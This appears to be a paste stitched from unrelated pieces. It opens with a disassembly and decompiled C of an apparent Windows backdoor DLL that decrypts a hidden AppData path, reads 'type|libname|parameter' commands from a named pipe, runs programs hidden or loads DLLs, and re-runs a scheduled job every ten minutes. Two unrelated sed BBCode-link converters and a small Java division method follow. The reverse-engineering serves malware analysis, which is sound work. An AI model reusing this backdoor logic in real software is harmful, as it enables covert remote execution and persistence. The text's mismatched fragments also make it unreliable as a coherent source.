.code:10005174 push "%CSIDL_APPDATA%" ; csidl
.code:10005176 lea ecx, [esp+630h+FileName] ; Load Effective Address
.code:1000517D push ecx ; pszPath
.code:1000517E push ebx ; hwnd
.code:1000517F mov [esp+638h+NumberOfBytesWritten], ebx
.code:10005183 call ds:SHGetSpecialFolderPathW ; Indirect Call Near Procedure
.code:10005183
.code:10005189 test eax, eax ; Logical Compare
.code:1000518B jnz short loc_100051A5 ; Jump if Not Zero (ZF=0)
.code:1000518B
.code:1000518D pop ebx
.code:1000518E mov ecx, [esp+624h+var_4]
.code:10005195 xor ecx, esp ; Logical Exclusive OR
.code:10005197 call check_esp ; Call Procedure
.code:10005197
.code:1000519C add esp, 624h ; Add
.code:100051A2 retn 8 ; Return Near from Procedure
.code:100051A2
.code:100051A5 ; ---------------------------------------------------------------------------
.code:100051A5
.code:100051A5 loc_100051A5: ; CODE XREF: sub_10005120+6Bj
.code:100051A5 push ebp
.code:100051A6 push edi
.code:100051A7 lea edx, [esp+630h+pMore] ; Load Effective Address
.code:100051AB push edx
.code:100051AC mov eax, offset sz2F0D4D010D1E1A0E207C300A1B0406060F110D2632 ; "2F0D4D010D1E1A0E207C300A1B0406060F110D2"...
.code:100051B1 call decryptString ; \Identities\Thumbs.db

.code:1000527A mov edi, [esp+630h+arg_0]
.code:10005281 push 4 ; flProtect
.code:10005283 push 1000h ; flAllocationType
.code:10005288 inc edi ; Increment by 1
.code:10005289 push edi ; dwSize
.code:1000528A push 0 ; lpAddress
.code:1000528C call ds:VirtualAlloc ; Reserves or commits a region of pages in the virtual address space of the calling process.
.code:1000528C ; Memory allocated by this function is automatically initialized to zero, unless MEM_RESET is specified.
.code:1000528C
.code:10005292 mov ebx, eax
.code:10005294 push ebx
.code:10005295 mov ecx, esi
.code:10005297 call private_encrypt_xor ; Call Procedure

.code:10001D00 ; DWORD __stdcall StartAddress(LPVOID)
.code:10001D00 StartAddress proc near ; DATA XREF: ThreadAProc+23o
.code:10001D00 push ebp
.code:10001D01 mov ebp, esp
.code:10001D03 and esp, 0FFFFFFF8h ; Logical AND
.code:10001D06 push ecx
.code:10001D07 push esi
.code:10001D08 mov esi, ds:Sleep ; Suspends the execution of the current thread for at least the specified interval.
.code:10001D0E mov edi, edi
.code:10001D0E
.code:10001D10
.code:10001D10 loc_10001D10: ; CODE XREF: StartAddress+19j
.code:10001D10 call readPipeTokenExec ; Token input from pipeline using delimiter '\09'
.code:10001D10 ; in format type|libname|parameter
.code:10001D10
.code:10001D15 push 100 ; dwMilliseconds
.code:10001D17 call esi ; Sleep ; Indirect Call Near Procedure
.code:10001D17
.code:10001D19 jmp short loc_10001D10 ; Jump
.code:10001D19
.code:10001D19 StartAddress endp

// Token input from pipeline using delimiter '\09'
// in format type|libname|parameter
int __cdecl readPipeTokenExec()
{
void *v0; // eax@1
void *v1; // ebp@1
int tokenCnt; // edi@4
wchar_t *aToken; // esi@4
wchar_t *v4; // eax@8
const WCHAR v5; // cx@9
__int16 *v6; // eax@12
__int16 v7; // cx@13
char v9; // [sp+10h] [bp-2874h]@1
int exeType; // [sp+14h] [bp-2870h]@1
DWORD NumberOfBytesRead; // [sp+18h] [bp-286Ch]@1
wchar_t *Context; // [sp+1Ch] [bp-2868h]@1
struct _PROCESS_INFORMATION ProcessInformation; // [sp+20h] [bp-2864h]@1
struct _STARTUPINFOW StartupInfo; // [sp+30h] [bp-2854h]@1
const WCHAR LibFileName; // [sp+78h] [bp-280Ch]@1
char v16; // [sp+7Ah] [bp-280Ah]@1
__int16 Buffer; // [sp+878h] [bp-200Ch]@1
char v18; // [sp+87Ah] [bp-200Ah]@1
__int16 createProcessParam; // [sp+1078h] [bp-180Ch]@1
char v20; // [sp+107Ah] [bp-180Ah]@1
WCHAR CommandLine; // [sp+1878h] [bp-100Ch]@1
char v22; // [sp+187Ah] [bp-100Ah]@1
unsigned int v23; // [sp+287Ch] [bp-8h]@1
v23 = (unsigned int)&v9 ^ dword_1001201C;
Buffer = 0;
memset(&v18, 0, 0x7FEu);
LibFileName = 0;
memset(&v16, 0, 0x7FEu);
createProcessParam = 0;
memset(&v20, 0, 0x7FEu);
CommandLine = 0;
memset(&v22, 0, 0xFFEu);
NumberOfBytesRead = 0;
exeType = 0;
Context = 0;
memset(&StartupInfo.lpReserved, 0, 0x40u);
ProcessInformation.hProcess = 0;
ProcessInformation.hThread = 0;
ProcessInformation.dwProcessId = 0;
ProcessInformation.dwThreadId = 0;
StartupInfo.cb = 68;
StartupInfo.dwFlags = 1;
StartupInfo.wShowWindow = 0;
v0 = (void *)mCreatePipe((const WCHAR *)dword_NamedPipe);
v1 = v0;
if ( v0 != (void *)-1 && ConnectNamedPipe(v0, 0) )
{
memset(&Buffer, 0, 2048u);
memset((void *)&LibFileName, 0, 0x800u);
memset(&createProcessParam, 0, 0x800u);
memset(&CommandLine, 0, 0x1000u);
while ( ReadFile(v1, &Buffer, 0x400u, &NumberOfBytesRead, 0) )
{
aToken = wcstok_s((wchar_t *)&Buffer, &Delim, &Context);
tokenCnt = 0;
while ( aToken )
{
if ( tokenCnt )
{
if ( tokenCnt == 1 )
{
v4 = aToken;
do
{
v5 = *v4;
*(wchar_t *)((char *)v4 + (char *)&LibFileName - (char *)aToken) = *v4;
++v4;
}
while ( v5 );
}
else
{
if ( tokenCnt == 2 )
{
v6 = (__int16 *)aToken;
do
{
v7 = *v6;
*(__int16 *)((char *)v6 + (char *)&createProcessParam - (char *)aToken) = *v6;
++v6;
}
while ( v7 );
}
}
}
else
{
exeType = _wtoi(aToken);
}
aToken = wcstok_s(0, &Delim, &Context);
++tokenCnt;
Sleep(0);
}
switch ( exeType )
{
case 1:
if ( IsExistPEFile(&LibFileName) )
{
wrap_vprintf((const char *)L"%s %s", &LibFileName, &createProcessParam);
CreateProcessW(0, &CommandLine, 0, 0, 0, 0x8000020u, 0, 0, &StartupInfo, &ProcessInformation);
}
break;
case 2:
if ( isExist_PE_Dll_File(&LibFileName) )
LoadLibraryW(&LibFileName);
break;
case 99:
goto LABEL_23;
}
memset(&Buffer, 0, 0x800u);
memset((void *)&LibFileName, 0, 0x800u);
memset(&createProcessParam, 0, 0x800u);
memset(&CommandLine, 0, 0x1000u);
}
LABEL_23:
DisconnectNamedPipe(v1);
}
DisconnectNamedPipe(v1);
if ( v1 )
CloseHandle(v1);
return 0;
}

int __cdecl ThreadAProc()
{
DWORD v0; // edi@1
DWORD v1; // esi@1
FARPROC IsWow64Process_; // ebx@3
HMODULE kernelModuleHandle; // eax@3
HANDLE currentProcess; // eax@4
int encVersion; // eax@5
int isWow64; // [sp+Ch] [bp-4h]@3
v0 = 0;
v1 = 0;
if ( hModule )
sub_10002900();
decodeBuildFilePath();
CreateThread(0, 0, StartAddress, 0, 0, 0);
isWow64 = 0;
kernelModuleHandle = GetModuleHandleW(L"kernel32");
IsWow64Process_ = GetProcAddress(kernelModuleHandle, "IsWow64Process");
if ( IsWow64Process_ )
{
currentProcess = GetCurrentProcess();
((void (__stdcall *)(HANDLE, int *))IsWow64Process_)(currentProcess, &isWow64);
}
encVersion = getEncodedOSVersion();
if ( !isWow64 )
{
if ( encVersion == 4 || encVersion == 6 || encVersion == 7 )
v0 = sub_100020E0();
scheJobNtXP20037((void *)v0);
while ( 1 )
{
Sleep(600000u);
scheJobNtXP20037((void *)v0);
}
}
if ( encVersion == 8 || encVersion == 5 )
{
while ( 1 )
{
Sleep(600000u);
v1 = scheJobV8n5(v1);
}
}
return 0;
}

$ echo "[url=/hvaonline/posts/list/136.html]Su dung GRUB[/url]"|sed 's|\(\[url="\{0,1\}\([^]^"]*\)"\{0,1\}]\([^[]*\)\[/url]\)|<a href="\2" target="_blank">\3</a>|g'
<a href="/hvaonline/posts/list/136.html" target="_blank">Su dung GRUB</a>

echo "[ url=/hvaonline/posts/list/136.html ]GRUB[ /url ]"|sed 's|\(\[[[:space:]]*url=\([^[:space:]]*\)[[:space:]]]\([^[\[]*\).*\)|<a href="\2">\3</a>|g'
<a href="/hvaonline/posts/list/136.html">GRUB</a>

public int testException(Integer a,Integer b) throws NullPointerException, InvalidParameterException{
if(a==null || b==null){
throw new NullPointerException();
}
if(b==0){
throw new InvalidParameterException("b is zero");
}
return a/b;
}